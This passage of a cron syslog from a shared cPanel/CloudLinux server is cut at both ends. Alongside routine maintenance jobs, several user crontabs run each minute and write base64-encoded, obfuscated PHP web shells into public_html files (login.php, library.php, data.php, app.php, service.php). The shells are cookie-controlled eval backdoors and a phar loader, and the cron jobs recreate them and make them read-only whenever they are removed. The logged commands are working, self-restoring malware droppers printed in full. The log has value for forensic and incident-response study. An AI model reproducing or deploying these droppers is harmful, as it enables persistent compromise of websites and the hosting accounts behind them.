"$fp"; fi; chmod 444 "$fp")
Jun  7 15:45:02 medusa CROND[25273]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Jun  7 15:45:02 medusa CROND[25274]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Jun  7 15:45:02 medusa CROND[25275]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Jun  7 15:45:02 medusa CROND[25276]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 15:45:02 medusa CROND[25277]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Jun  7 15:45:02 medusa CROND[25278]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 15:45:02 medusa CROND[25279]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 15:45:02 medusa CROND[25281]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 15:45:02 medusa CROND[25286]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Jun  7 15:45:02 medusa CROND[25288]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 15:45:02 medusa CROND[25294]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Jun  7 15:45:02 medusa CROND[25297]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 15:45:02 medusa CROND[25298]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 15:45:02 medusa CROND[25295]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Jun  7 15:45:02 medusa CROND[25293]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Jun  7 15:45:02 medusa CROND[25303]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Jun  7 15:45:02 medusa CROND[25291]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Jun  7 15:45:02 medusa CROND[25310]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Jun  7 15:45:02 medusa CROND[25312]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 15:45:02 medusa CROND[25313]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 15:45:02 medusa CROND[25314]: (dieg0fd) CMD (/usr/local/bin/php /home17/dieg0fd/public_html/wp-cron.php >/dev/null 2>&1)
Jun  7 15:45:02 medusa CROND[25315]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 15:46:02 medusa CROND[27004]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 15:46:02 medusa CROND[27005]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 15:46:02 medusa CROND[27006]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 15:46:02 medusa CROND[27007]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 15:46:02 medusa CROND[27008]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Jun  7 15:46:02 medusa CROND[27009]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 15:46:02 medusa CROND[27010]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 15:46:02 medusa CROND[27011]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 15:46:02 medusa CROND[27012]: (cerramientosco) CMD (cd /home12/cerramientosco/app.cerramientosandco.com; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Jun  7 15:46:02 medusa CROND[27015]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Jun  7 15:46:02 medusa CROND[27016]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 15:46:02 medusa CROND[27020]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 15:46:02 medusa CROND[27025]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 15:46:02 medusa CROND[27028]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 15:46:02 medusa CROND[27033]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 15:47:01 medusa CROND[28460]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Jun  7 15:47:01 medusa CROND[28461]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 15:47:01 medusa CROND[28462]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 15:47:01 medusa CROND[28463]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 15:47:01 medusa CROND[28464]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 15:47:01 medusa CROND[28465]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 15:47:01 medusa CROND[28466]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 15:47:01 medusa CROND[28467]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo 